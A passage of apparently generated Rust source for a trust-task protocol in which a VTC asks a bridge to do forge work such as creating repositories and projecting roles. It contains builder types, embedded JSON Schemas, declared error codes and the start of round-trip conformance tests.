target: Ok(value.target),
}
}
}
#[derive(Clone, Debug)]
pub struct RepoSpec {
description: ::std::result::Result<
::std::option::Option<super::RepoSpecDescription>,
::std::string::String,
>,
visibility: ::std::result::Result<super::RepoVisibility, ::std::string::String>,
}
impl ::std::default::Default for RepoSpec {
fn default() -> Self {
Self {
description: Ok(Default::default()),
visibility: Err("no value supplied for visibility".to_string()),
}
}
}
impl RepoSpec {
pub fn description<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<super::RepoSpecDescription>>,
T::Error: ::std::fmt::Display,
{
self.description = value
.try_into()
.map_err(|e| format!("error converting supplied value for description: {e}"));
self
}
pub fn visibility<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::RepoVisibility>,
T::Error: ::std::fmt::Display,
{
self.visibility = value
.try_into()
.map_err(|e| format!("error converting supplied value for visibility: {e}"));
self
}
}
impl ::std::convert::TryFrom<RepoSpec> for super::RepoSpec {
type Error = super::error::ConversionError;
fn try_from(value: RepoSpec) -> ::std::result::Result<Self, super::error::ConversionError> {
Ok(Self {
description: value.description?,
visibility: value.visibility?,
})
}
}
impl ::std::convert::From<super::RepoSpec> for RepoSpec {
fn from(value: super::RepoSpec) -> Self {
Self {
description: Ok(value.description),
visibility: Ok(value.visibility),
}
}
}
#[derive(Clone, Debug)]
pub struct Response {
accepted: ::std::result::Result<bool, ::std::string::String>,
ext: ::std::result::Result<::std::option::Option<super::Ext>, ::std::string::String>,
job_id: ::std::result::Result<super::JobId, ::std::string::String>,
next: ::std::result::Result<
::std::option::Option<super::ResponseNext>,
::std::string::String,
>,
}
impl ::std::default::Default for Response {
fn default() -> Self {
Self {
accepted: Err("no value supplied for accepted".to_string()),
ext: Ok(Default::default()),
job_id: Err("no value supplied for job_id".to_string()),
next: Ok(Default::default()),
}
}
}
impl Response {
pub fn accepted<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<bool>,
T::Error: ::std::fmt::Display,
{
self.accepted = value
.try_into()
.map_err(|e| format!("error converting supplied value for accepted: {e}"));
self
}
pub fn ext<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<super::Ext>>,
T::Error: ::std::fmt::Display,
{
self.ext = value
.try_into()
.map_err(|e| format!("error converting supplied value for ext: {e}"));
self
}
pub fn job_id<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::JobId>,
T::Error: ::std::fmt::Display,
{
self.job_id = value
.try_into()
.map_err(|e| format!("error converting supplied value for job_id: {e}"));
self
}
pub fn next<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<super::ResponseNext>>,
T::Error: ::std::fmt::Display,
{
self.next = value
.try_into()
.map_err(|e| format!("error converting supplied value for next: {e}"));
self
}
}
impl ::std::convert::TryFrom<Response> for super::Response {
type Error = super::error::ConversionError;
fn try_from(value: Response) -> ::std::result::Result<Self, super::error::ConversionError> {
Ok(Self {
accepted: value.accepted?,
ext: value.ext?,
job_id: value.job_id?,
next: value.next?,
})
}
}
impl ::std::convert::From<super::Response> for Response {
fn from(value: super::Response) -> Self {
Self {
accepted: Ok(value.accepted),
ext: Ok(value.ext),
job_id: Ok(value.job_id),
next: Ok(value.next),
}
}
}
#[derive(Clone, Debug)]
pub struct ResponseNext {
expires_at:
::std::result::Result<::chrono::DateTime<::chrono::offset::Utc>, ::std::string::String>,
url: ::std::result::Result<::std::string::String, ::std::string::String>,
user_code: ::std::result::Result<
::std::option::Option<super::ResponseNextUserCode>,
::std::string::String,
>,
}
impl ::std::default::Default for ResponseNext {
fn default() -> Self {
Self {
expires_at: Err("no value supplied for expires_at".to_string()),
url: Err("no value supplied for url".to_string()),
user_code: Ok(Default::default()),
}
}
}
impl ResponseNext {
pub fn expires_at<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::chrono::DateTime<::chrono::offset::Utc>>,
T::Error: ::std::fmt::Display,
{
self.expires_at = value
.try_into()
.map_err(|e| format!("error converting supplied value for expires_at: {e}"));
self
}
pub fn url<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::string::String>,
T::Error: ::std::fmt::Display,
{
self.url = value
.try_into()
.map_err(|e| format!("error converting supplied value for url: {e}"));
self
}
pub fn user_code<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<super::ResponseNextUserCode>>,
T::Error: ::std::fmt::Display,
{
self.user_code = value
.try_into()
.map_err(|e| format!("error converting supplied value for user_code: {e}"));
self
}
}
impl ::std::convert::TryFrom<ResponseNext> for super::ResponseNext {
type Error = super::error::ConversionError;
fn try_from(
value: ResponseNext,
) -> ::std::result::Result<Self, super::error::ConversionError> {
Ok(Self {
expires_at: value.expires_at?,
url: value.url?,
user_code: value.user_code?,
})
}
}
impl ::std::convert::From<super::ResponseNext> for ResponseNext {
fn from(value: super::ResponseNext) -> Self {
Self {
expires_at: Ok(value.expires_at),
url: Ok(value.url),
user_code: Ok(value.user_code),
}
}
}
}
impl crate::Payload for Payload {
const TYPE_URI: &'static str = "https://trusttasks.org/spec/git-ns/bridge/job/0.4";
const IS_PROOF_REQUIRED: bool = true;
const IS_ISSUED_AT_REQUIRED: bool = true;
const IS_RECIPIENT_REQUIRED: bool = true;
const PAYLOAD_SCHEMA: Option<&'static str> = Some(
"{\n \"$defs\": {\n \"BindTarget\": {\n \"additionalProperties\": false,\n \"description\": \"The forge owner whose control the binding admin is to prove.\",\n \"properties\": {\n \"forge\": {\n \"$ref\": \"#/$defs/ForgeHost\"\n },\n \"owner\": {\n \"$ref\": \"#/$defs/Segment\"\n }\n },\n \"required\": [\n \"forge\",\n \"owner\"\n ],\n \"title\": \"BindTarget\",\n \"type\": \"object\"\n },\n \"DesiredRole\": {\n \"additionalProperties\": false,\n \"properties\": {\n \"account\": {\n \"$ref\": \"#/$defs/ForgeAccount\",\n \"description\": \"The subject's linked account on this namespace's forge.\"\n },\n \"right\": {\n \"$ref\": \"#/$defs/Right\",\n \"description\": \"The highest right recorded for the subject on the repository, or `git.commit.sign` recorded on its namespace — never one held only because `git.ns.admin` implies it. A namespace admin with no right of their own there is listed as `git.ns.admin`, which every forge adapter maps to no role. The forge adapter maps the right to one of its roles.\"\n },\n \"subject\": {\n \"$ref\": \"#/$defs/Did\"\n }\n },\n \"required\": [\n \"subject\",\n \"account\",\n \"right\"\n ],\n \"type\": \"object\"\n },\n \"Did\": {\n \"description\": \"A bare DID in the W3C DID Core syntax (§3.1): `did:`, a method name of lowercase letters and digits, `:`, and a method-specific id of colon-separated segments drawn from `A-Z a-z 0-9 . - _` and percent-encoded octets, the last segment non-empty. A DID URL is not a DID: no path, query or fragment (`/`, `?`, `#`), so a verification-method id such as `did:key:z6Mk…#z6Mk…` is refused. Compared by exact string equality — no case folding or percent-decoding. A consumer MUST still treat the value as data: the pattern keeps shell metacharacters, whitespace and quotes out of the wire form, but it does not make a DID safe to splice into a command or markup.\",\n \"maxLength\": 2048,\n \"pattern\": \"^did:[a-z0-9]+:(?:(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})*:)*(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})+$\",\n \"title\": \"Did\",\n \"type\": \"string\"\n },\n \"Ext\": {\n \"additionalProperties\": true,\n \"description\": \"Vendor-namespaced extension object per SPEC.md §4.5.1. Each immediate key MUST be a reverse-DNS namespace; structure under each namespace is opaque to the framework.\",\n \"minProperties\": 1,\n \"propertyNames\": {\n \"pattern\": \"^[a-z][a-z0-9-]*(\\\\.[a-z0-9-]+)+$\"\n },\n \"title\": \"Ext\",\n \"type\": \"object\"\n },\n \"ForgeAccount\": {\n \"additionalProperties\": false,\n \"description\": \"A person's account on one forge. `id` is authoritative; `login` is for display only, because logins can be renamed and re-registered.\",\n \"properties\": {\n \"forge\": {\n \"$ref\": \"#/$defs/ForgeHost\"\n },\n \"id\": {\n \"$ref\": \"#/$defs/ForgeId\"\n },\n \"login\": {\n \"description\": \"The account's current login, as the forge reported it when last seen. Display only.\",\n \"maxLength\": 100,\n \"minLength\": 1,\n \"type\": \"string\"\n }\n },\n \"required\": [\n \"forge\",\n \"id\",\n \"login\"\n ],\n \"title\": \"ForgeAccount\",\n \"type\": \"object\"\n },\n \"ForgeHost\": {\n \"description\": \"The lowercased DNS host of a forge: `github.com`, a GitHub Enterprise Server host, `codeberg.org`, or a self-hosted Forgejo instance such as `git.example.org`. No scheme, no port, no path. The host is a segment of every resource, so a right never crosses forges.\",\n \"maxLength\": 253,\n \"minLength\": 3,\n \"pattern\": \"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+$\",\n \"title\": \"ForgeHost\",\n \"type\": \"string\"\n },\n \"ForgeId\": {\n \"description\": \"An identifier the forge itself assigns — a repository id, a user or organisation id — carried as a string so a forge whose ids are not numbers needs no new version. GitHub and Forgejo ids are decimal integers written as strings (`\\\"812736451\\\"`). Unlike a name, it survives renames and transfers, which is why rights and bindings are keyed by it.\",\n \"maxLength\": 64,\n \"minLength\": 1,\n \"title\": \"ForgeId\",\n \"type\": \"string\"\n },\n \"JobId\": {\n \"description\": \"The VTC's identifier for a job, unique across the VTC's jobs.\",\n \"maxLength\": 128,\n \"minLength\": 1,\n \"type\": \"string\"\n },\n \"NamespaceId\": {\n \"description\": \"The VTC's opaque identifier for a namespace, assigned when it is bound. Stable for the life of the binding; never reused for another binding.\",\n \"maxLength\": 128,\n \"minLength\": 1,\n \"title\": \"NamespaceId\",\n \"type\": \"string\"\n },\n \"RepoResource\": {\n \"description\": \"A forge-qualified resource naming exactly one repository: `<forge-host>/<owner>/<repo>`, lowercase.\",\n \"maxLength\": 455,\n \"pattern\": \"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+/[a-z0-9_-][a-z0-9._-]{0,99}/[a-z0-9_-][a-z0-9._-]{0,99}$\",\n \"title\": \"RepoResource\",\n \"type\": \"string\"\n },\n \"RepoSpec\": {\n \"additionalProperties\": false,\n \"properties\": {\n \"description\": {\n \"maxLength\": 350,\n \"type\": \"string\"\n },\n \"visibility\": {\n \"$ref\": \"#/$defs/RepoVisibility\"\n }\n },\n \"required\": [\n \"visibility\"\n ],\n \"type\": \"object\"\n },\n \"RepoVisibility\": {\n \"description\": \"Repository visibility on the forge.\",\n \"enum\": [\n \"public\",\n \"private\"\n ],\n \"title\": \"RepoVisibility\",\n \"type\": \"string\"\n },\n \"Response\": {\n \"$anchor\": \"response\",\n \"additionalProperties\": false,\n \"description\": \"Whether the bridge took the job.\",\n \"properties\": {\n \"accepted\": {\n \"description\": \"`true` — the job is durably queued, or was already queued or running under this `jobId`; a git-ns/bridge/result follows. `false` — the bridge already finished this `jobId`; it does not run it again, and sends its git-ns/bridge/result again.\",\n \"type\": \"boolean\"\n },\n \"ext\": {\n \"$ref\": \"#/$defs/Ext\"\n },\n \"jobId\": {\n \"$ref\": \"#/$defs/JobId\"\n },\n \"next\": {\n \"additionalProperties\": false,\n \"description\": \"For `beginBind` and `beginAccountLink` when `accepted` is `true`: where the VTC sends the person.\",\n \"properties\": {\n \"expiresAt\": {\n \"format\": \"date-time\",\n \"type\": \"string\"\n },\n \"url\": {\n \"format\": \"uri\",\n \"maxLength\": 2048,\n \"pattern\": \"^https://\",\n \"type\": \"string\"\n },\n \"userCode\": {\n \"description\": \"The device-flow code, for a forge that uses one.\",\n \"maxLength\": 64,\n \"minLength\": 1,\n \"type\": \"string\"\n }\n },\n \"required\": [\n \"url\",\n \"expiresAt\"\n ],\n \"type\": \"object\"\n }\n },\n \"required\": [\n \"jobId\",\n \"accepted\"\n ],\n \"title\": \"Git Namespaces — Bridge Job — response payload\",\n \"type\": \"object\"\n },\n \"Right\": {\n \"description\": \"One of the five git rights. Each string is also the TRQP `action` the VTC publishes the right under in its Trust Registry, so it is carried verbatim. `git.ns.admin` and `git.repo.create` apply to a namespace resource; `git.repo.own` and `git.repo.maintain` to a repository resource; `git.commit.sign` to either.\",\n \"enum\": [\n \"git.ns.admin\",\n \"git.repo.create\",\n \"git.repo.own\",\n \"git.repo.maintain\",\n \"git.commit.sign\"\n ],\n \"title\": \"Right\",\n \"type\": \"string\"\n },\n \"Segment\": {\n \"description\": \"One lowercased owner or repository name. Forges compare these case-insensitively, so the wire form is always lowercase and a producer lowercases before sending. A leading `.` is refused, which rules out `.` and `..`.\",\n \"maxLength\": 100,\n \"minLength\": 1,\n \"pattern\": \"^[a-z0-9_-][a-z0-9._-]*$\",\n \"title\": \"Segment\",\n \"type\": \"string\"\n },\n \"StepName\": {\n \"description\": \"One step of a forge adapter's plan. Forge-neutral names: `create`, `workflow`, `keyring`, `variables`, `requiredCheck`, `roles`, `archive`. An adapter MAY add its own (`mergeStyle`, `runner`), which a VTC displays but need not understand.\",\n \"maxLength\": 64,\n \"minLength\": 1,\n \"pattern\": \"^[a-z][A-Za-z0-9]*$\",\n \"type\": \"string\"\n }\n },\n \"$id\": \"https://trusttasks.org/spec/git-ns/bridge/job/0.4\",\n \"$schema\": \"https://json-schema.org/draft/2020-12/schema\",\n \"additionalProperties\": false,\n \"description\": \"The VTC asks its bridge to do one piece of forge work in a namespace. The job names what to do (`kind`) and carries the desired state, never forge credentials — the bridge holds those. Which optional members a job carries is fixed by its `kind` (see the specification's kind table); a bridge refuses a job that carries a member its kind does not use, or lacks one its kind requires.\",\n \"properties\": {\n \"desiredRoles\": {\n \"description\": \"The complete set of people the projection reaches on the repository, each at the one right they are projected at. The bridge converges to exactly this set among the roles it manages: it adds or changes roles to match and removes managed roles not listed. Each forge account (by `forge` and `id`) appears at most once. `projectRoles` and `createRepo` only.\",\n \"items\": {\n \"$ref\": \"#/$defs/DesiredRole\"\n },\n \"type\": \"array\",\n \"uniqueItems\": true\n },\n \"ext\": {\n \"$ref\": \"#/$defs/Ext\"\n },\n \"jobId\": {\n \"$ref\": \"#/$defs/JobId\",\n \"description\": \"The VTC's identifier for this job. The bridge reports on it with git-ns/bridge/result.\"\n },\n \"kind\": {\n \"description\": \"What to do. `projectRoles` — converge forge roles to `desiredRoles`, and remove whatever role each of `removeAccounts` holds on `repo`. `createRepo` — create `repo`, run the bootstrap plan, and project `desiredRoles`. `bootstrap` — run the bootstrap plan, or the listed `steps` of it, on an existing `repo`. `archive` — archive `repo`. `inspect` — compare the forge with the projection for `repo`, or for the whole namespace. `beginBind` — start the proof that the binding admin controls `target`. `beginAccountLink` — start linking `subject`'s account on this namespace's forge.\",\n \"enum\": [\n \"projectRoles\",\n \"createRepo\",\n \"bootstrap\",\n \"archive\",\n \"inspect\",\n \"beginBind\",\n \"beginAccountLink\"\n ],\n \"type\": \"string\"\n },\n \"namespace\": {\n \"$ref\": \"#/$defs/NamespaceId\",\n \"description\": \"The namespace the job acts in. It also selects the bridge's forge credentials for it.\"\n },\n \"removeAccounts\": {\n \"description\": \"Accounts whose direct role on `repo` the bridge removes, whatever that role is — including a role the bridge does not manage and would otherwise only report as drift. Matched by `forge` and `id`; `login` is display only. No account listed here may also appear in `desiredRoles`, except at `git.ns.admin`. `projectRoles` only.\",\n \"items\": {\n \"$ref\": \"#/$defs/ForgeAccount\"\n },\n \"minItems\": 1,\n \"type\": \"array\",\n \"uniqueItems\": true\n },\n \"repo\": {\n \"$ref\": \"#/$defs/RepoResource\",\n \"description\": \"The repository. Required for `projectRoles`, `createRepo`, `bootstrap` and `archive`: there is no namespace-level `projectRoles`, because no right projects to an organisation's own roles. For `inspect`, absent means a sweep of every repository in the namespace.\"\n },\n \"spec\": {\n \"$ref\": \"#/$defs/RepoSpec\",\n \"description\": \"How to create the repository. `createRepo` only.\"\n },\n \"steps\": {\n \"description\": \"Run only these steps of the adapter's bootstrap plan, in the plan's order. Absent: the whole plan. `bootstrap` only.\",\n \"items\": {\n \"$ref\": \"#/$defs/StepName\"\n },\n \"minItems\": 1,\n \"type\": \"array\",\n \"uniqueItems\": true\n },\n \"subject\": {\n \"$ref\": \"#/$defs/Did\",\n \"description\": \"The member whose forge account is being linked. `beginAccountLink` only.\"\n },\n \"target\": {\n \"$ref\": \"#/$defs/BindTarget\",\n \"description\": \"`beginBind` only.\"\n }\n },\n \"required\": [\n \"jobId\",\n \"namespace\",\n \"kind\"\n ],\n \"title\": \"Git Namespaces — Bridge Job — payload\",\n \"type\": \"object\"\n}\n",
);
}
impl crate::Payload for Response {
const TYPE_URI: &'static str = "https://trusttasks.org/spec/git-ns/bridge/job/0.4#response";
const IS_PROOF_REQUIRED: bool = true;
const IS_ISSUED_AT_REQUIRED: bool = true;
const IS_RECIPIENT_REQUIRED: bool = true;
const PAYLOAD_SCHEMA: Option<&'static str> = Some(
"{\n \"$defs\": {\n \"BindTarget\": {\n \"additionalProperties\": false,\n \"description\": \"The forge owner whose control the binding admin is to prove.\",\n \"properties\": {\n \"forge\": {\n \"$ref\": \"#/$defs/ForgeHost\"\n },\n \"owner\": {\n \"$ref\": \"#/$defs/Segment\"\n }\n },\n \"required\": [\n \"forge\",\n \"owner\"\n ],\n \"title\": \"BindTarget\",\n \"type\": \"object\"\n },\n \"DesiredRole\": {\n \"additionalProperties\": false,\n \"properties\": {\n \"account\": {\n \"$ref\": \"#/$defs/ForgeAccount\",\n \"description\": \"The subject's linked account on this namespace's forge.\"\n },\n \"right\": {\n \"$ref\": \"#/$defs/Right\",\n \"description\": \"The highest right recorded for the subject on the repository, or `git.commit.sign` recorded on its namespace — never one held only because `git.ns.admin` implies it. A namespace admin with no right of their own there is listed as `git.ns.admin`, which every forge adapter maps to no role. The forge adapter maps the right to one of its roles.\"\n },\n \"subject\": {\n \"$ref\": \"#/$defs/Did\"\n }\n },\n \"required\": [\n \"subject\",\n \"account\",\n \"right\"\n ],\n \"type\": \"object\"\n },\n \"Did\": {\n \"description\": \"A bare DID in the W3C DID Core syntax (§3.1): `did:`, a method name of lowercase letters and digits, `:`, and a method-specific id of colon-separated segments drawn from `A-Z a-z 0-9 . - _` and percent-encoded octets, the last segment non-empty. A DID URL is not a DID: no path, query or fragment (`/`, `?`, `#`), so a verification-method id such as `did:key:z6Mk…#z6Mk…` is refused. Compared by exact string equality — no case folding or percent-decoding. A consumer MUST still treat the value as data: the pattern keeps shell metacharacters, whitespace and quotes out of the wire form, but it does not make a DID safe to splice into a command or markup.\",\n \"maxLength\": 2048,\n \"pattern\": \"^did:[a-z0-9]+:(?:(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})*:)*(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})+$\",\n \"title\": \"Did\",\n \"type\": \"string\"\n },\n \"Ext\": {\n \"additionalProperties\": true,\n \"description\": \"Vendor-namespaced extension object per SPEC.md §4.5.1. Each immediate key MUST be a reverse-DNS namespace; structure under each namespace is opaque to the framework.\",\n \"minProperties\": 1,\n \"propertyNames\": {\n \"pattern\": \"^[a-z][a-z0-9-]*(\\\\.[a-z0-9-]+)+$\"\n },\n \"title\": \"Ext\",\n \"type\": \"object\"\n },\n \"ForgeAccount\": {\n \"additionalProperties\": false,\n \"description\": \"A person's account on one forge. `id` is authoritative; `login` is for display only, because logins can be renamed and re-registered.\",\n \"properties\": {\n \"forge\": {\n \"$ref\": \"#/$defs/ForgeHost\"\n },\n \"id\": {\n \"$ref\": \"#/$defs/ForgeId\"\n },\n \"login\": {\n \"description\": \"The account's current login, as the forge reported it when last seen. Display only.\",\n \"maxLength\": 100,\n \"minLength\": 1,\n \"type\": \"string\"\n }\n },\n \"required\": [\n \"forge\",\n \"id\",\n \"login\"\n ],\n \"title\": \"ForgeAccount\",\n \"type\": \"object\"\n },\n \"ForgeHost\": {\n \"description\": \"The lowercased DNS host of a forge: `github.com`, a GitHub Enterprise Server host, `codeberg.org`, or a self-hosted Forgejo instance such as `git.example.org`. No scheme, no port, no path. The host is a segment of every resource, so a right never crosses forges.\",\n \"maxLength\": 253,\n \"minLength\": 3,\n \"pattern\": \"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+$\",\n \"title\": \"ForgeHost\",\n \"type\": \"string\"\n },\n \"ForgeId\": {\n \"description\": \"An identifier the forge itself assigns — a repository id, a user or organisation id — carried as a string so a forge whose ids are not numbers needs no new version. GitHub and Forgejo ids are decimal integers written as strings (`\\\"812736451\\\"`). Unlike a name, it survives renames and transfers, which is why rights and bindings are keyed by it.\",\n \"maxLength\": 64,\n \"minLength\": 1,\n \"title\": \"ForgeId\",\n \"type\": \"string\"\n },\n \"JobId\": {\n \"description\": \"The VTC's identifier for a job, unique across the VTC's jobs.\",\n \"maxLength\": 128,\n \"minLength\": 1,\n \"type\": \"string\"\n },\n \"NamespaceId\": {\n \"description\": \"The VTC's opaque identifier for a namespace, assigned when it is bound. Stable for the life of the binding; never reused for another binding.\",\n \"maxLength\": 128,\n \"minLength\": 1,\n \"title\": \"NamespaceId\",\n \"type\": \"string\"\n },\n \"RepoResource\": {\n \"description\": \"A forge-qualified resource naming exactly one repository: `<forge-host>/<owner>/<repo>`, lowercase.\",\n \"maxLength\": 455,\n \"pattern\": \"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+/[a-z0-9_-][a-z0-9._-]{0,99}/[a-z0-9_-][a-z0-9._-]{0,99}$\",\n \"title\": \"RepoResource\",\n \"type\": \"string\"\n },\n \"RepoSpec\": {\n \"additionalProperties\": false,\n \"properties\": {\n \"description\": {\n \"maxLength\": 350,\n \"type\": \"string\"\n },\n \"visibility\": {\n \"$ref\": \"#/$defs/RepoVisibility\"\n }\n },\n \"required\": [\n \"visibility\"\n ],\n \"type\": \"object\"\n },\n \"RepoVisibility\": {\n \"description\": \"Repository visibility on the forge.\",\n \"enum\": [\n \"public\",\n \"private\"\n ],\n \"title\": \"RepoVisibility\",\n \"type\": \"string\"\n },\n \"Response\": {\n \"$anchor\": \"response\",\n \"additionalProperties\": false,\n \"description\": \"Whether the bridge took the job.\",\n \"properties\": {\n \"accepted\": {\n \"description\": \"`true` — the job is durably queued, or was already queued or running under this `jobId`; a git-ns/bridge/result follows. `false` — the bridge already finished this `jobId`; it does not run it again, and sends its git-ns/bridge/result again.\",\n \"type\": \"boolean\"\n },\n \"ext\": {\n \"$ref\": \"#/$defs/Ext\"\n },\n \"jobId\": {\n \"$ref\": \"#/$defs/JobId\"\n },\n \"next\": {\n \"additionalProperties\": false,\n \"description\": \"For `beginBind` and `beginAccountLink` when `accepted` is `true`: where the VTC sends the person.\",\n \"properties\": {\n \"expiresAt\": {\n \"format\": \"date-time\",\n \"type\": \"string\"\n },\n \"url\": {\n \"format\": \"uri\",\n \"maxLength\": 2048,\n \"pattern\": \"^https://\",\n \"type\": \"string\"\n },\n \"userCode\": {\n \"description\": \"The device-flow code, for a forge that uses one.\",\n \"maxLength\": 64,\n \"minLength\": 1,\n \"type\": \"string\"\n }\n },\n \"required\": [\n \"url\",\n \"expiresAt\"\n ],\n \"type\": \"object\"\n }\n },\n \"required\": [\n \"jobId\",\n \"accepted\"\n ],\n \"title\": \"Git Namespaces — Bridge Job — response payload\",\n \"type\": \"object\"\n },\n \"Right\": {\n \"description\": \"One of the five git rights. Each string is also the TRQP `action` the VTC publishes the right under in its Trust Registry, so it is carried verbatim. `git.ns.admin` and `git.repo.create` apply to a namespace resource; `git.repo.own` and `git.repo.maintain` to a repository resource; `git.commit.sign` to either.\",\n \"enum\": [\n \"git.ns.admin\",\n \"git.repo.create\",\n \"git.repo.own\",\n \"git.repo.maintain\",\n \"git.commit.sign\"\n ],\n \"title\": \"Right\",\n \"type\": \"string\"\n },\n \"Segment\": {\n \"description\": \"One lowercased owner or repository name. Forges compare these case-insensitively, so the wire form is always lowercase and a producer lowercases before sending. A leading `.` is refused, which rules out `.` and `..`.\",\n \"maxLength\": 100,\n \"minLength\": 1,\n \"pattern\": \"^[a-z0-9_-][a-z0-9._-]*$\",\n \"title\": \"Segment\",\n \"type\": \"string\"\n },\n \"StepName\": {\n \"description\": \"One step of a forge adapter's plan. Forge-neutral names: `create`, `workflow`, `keyring`, `variables`, `requiredCheck`, `roles`, `archive`. An adapter MAY add its own (`mergeStyle`, `runner`), which a VTC displays but need not understand.\",\n \"maxLength\": 64,\n \"minLength\": 1,\n \"pattern\": \"^[a-z][A-Za-z0-9]*$\",\n \"type\": \"string\"\n }\n },\n \"$ref\": \"#/$defs/Response\",\n \"$schema\": \"https://json-schema.org/draft/2020-12/schema\"\n}\n",
);
}
impl crate::RequestPayload for Payload {
type Response = Response;
}
/// The extended error codes this specification declares (SPEC §7.3 item 9,
/// §8.5), in declaration order. Empty when it declares none.
pub const ERROR_CODES: &[crate::DeclaredErrorCode] = &[
error_codes::UNKNOWN_NAMESPACE,
error_codes::NOT_CAPABLE,
error_codes::JOB_ID_REUSED,
];
/// One constant per extended error code this specification declares
/// (SPEC §7.3 item 9), named for its local part.
///
/// Emit these rather than a string literal: the code is read from the
/// specification, so it cannot name a code the specification never
/// declared.
pub mod error_codes {
/// `git-ns:unknownNamespace`
///
/// No namespace bound to this VTC has this identifier, or contains this resource.
///
/// Declared `retryable: false`.
pub const UNKNOWN_NAMESPACE: crate::DeclaredErrorCode = crate::DeclaredErrorCode {
code: "git-ns:unknownNamespace",
retryable: false,
};
/// `git-ns/bridge/job:notCapable`
///
/// This forge, or this namespace on it, cannot perform this kind of job — for example `createRepo` on a personal account.
///
/// Declared `retryable: false`.
pub const NOT_CAPABLE: crate::DeclaredErrorCode = crate::DeclaredErrorCode {
code: "git-ns/bridge/job:notCapable",
retryable: false,
};
/// `git-ns/bridge/job:jobIdReused`
///
/// The bridge already holds a job with this `jobId` and different content.
///
/// Declared `retryable: false`.
pub const JOB_ID_REUSED: crate::DeclaredErrorCode = crate::DeclaredErrorCode {
code: "git-ns/bridge/job:jobIdReused",
retryable: false,
};
}
#[cfg(test)]
mod conformance {
//! Round-trip tests harvested from the spec's `spec.md`,
//! plus a `rejects_invalid_examples` test for any fixtures
//! in `payload.invalid-examples.json` (validate feature).
#[test]
fn request_example_1() {
const JSON: &str = "{\n \"id\": \"urn:uuid:95dedda2-126b-419d-a9c5-5babd36f6d01\",\n \"type\": \"https://trusttasks.org/spec/git-ns/bridge/job/0.4\",\n \"threadId\": \"urn:uuid:95dedda2-126b-419d-a9c5-5babd36f6d01\",\n \"issuer\": \"did:webvh:QmVtcScid7:acme-vtc.example\",\n \"recipient\": \"did:webvh:QmBridgeScid5:bridge.acme-vtc.example\",\n \"issuedAt\": \"2026-09-23T10:00:00Z\",\n \"payload\": {\n \"jobId\": \"job_01J8ZA3K7F\",\n \"namespace\": \"ns_01J8Z6Q4M2\",\n \"kind\": \"createRepo\",\n \"repo\": \"github.com/acme/gadgets\",\n \"spec\": {\n \"visibility\": \"public\",\n \"description\": \"Small tools for widgets\"\n },\n \"desiredRoles\": [\n {\n \"subject\": \"did:webvh:QmBobScid2:acme-vtc.example:bob\",\n \"account\": {\n \"forge\": \"github.com\",\n \"id\": \"9120045\",\n \"login\": \"bob-builds\"\n },\n \"right\": \"git.repo.own\"\n }\n ]\n },\n \"proof\": {\n \"type\": \"DataIntegrityProof\",\n \"cryptosuite\": \"eddsa-jcs-2022\",\n \"verificationMethod\": \"did:webvh:QmVtcScid7:acme-vtc.example#key-1\",\n \"created\": \"2026-09-23T10:00:00Z\",\n \"proofPurpose\": \"assertionMethod\",\n \"proofValue\": \"zk5f5NdC3fyVGTjHt3wAfoua65baH7EMsYGngmCMHUp8sV5gfHLq5eCqkQi6wZn3HAfnsE8Rzu9XAaaK4nxDHRy\"\n }\n}\n";
let doc: crate::TrustTask<super::Payload> =
serde_json::from_str(JSON).expect("deserialize request example");
let rendered = serde_json::to_value(&doc).expect("re-serialize");
let expected: serde_json::Value = serde_json::from_str(JSON).expect("re-parse expected");
assert_eq!(rendered, expected, "request example failed round-trip");
}
#[test]
fn request_example_2() {
const JSON: &str = "{\n \"id\": \"urn:uuid:95dedda2-126b-419d-a9c5-5babd36f6d03\",\n \"type\": \"https://trusttasks.org/spec/git-ns/bridge/job/0.4\",\n \"threadId\": \"urn:uuid:95dedda2-126b-419d-a9c5-5babd36f6d03\",\n \"issuer\": \"did:webvh:QmVtcScid7:acme-vtc.example\",\n \"recipient\": \"did:webvh:QmBridgeScid5:bridge.acme-vtc.example\",\n \"issuedAt\": \"2026-09-23T10:00:00Z\",\n \"payload\": {\n \"jobId\": \"job_01J8ZB0P2C\",\n \"namespace\": \"ns_01J8Z6Q4M2\",\n \"kind\": \"beginAccountLink\",\n \"subject\": \"did:webvh:QmBobScid2:acme-vtc.example:bob\"\n },\n \"proof\": {\n \"type\": \"DataIntegrityProof\",\n \"cryptosuite\": \"eddsa-jcs-2022\",\n \"verificationMethod\": \"did:webvh:QmVtcScid7:acme-vtc.example#key-1\",\n \"created\": \"2026-09-23T10:00:00Z\",\n \"proofPurpose\": \"assertionMethod\",\n \"proofValue\": \"zsMQG7URHk2DRiFd9kuB5WojM61NFSJj7eLqEjFLvuU4LTcw2FSegdznkN8yDuRtdrVo1twjjPb4Ndfzh3sTqBV\"\n }\n}\n";
let doc: crate::TrustTask<super::Payload> =
serde_json::from_str(JSON).expect("deserialize request example");
let rendered = serde_json::to_value(&doc).expect("re-serialize");
let expected: serde_json::Value = serde_json::from_str(JSON).expect("re-parse expected");
assert_eq!(rendered, expected, "request example failed round-trip");
}
#[test]
fn request_example_3() {
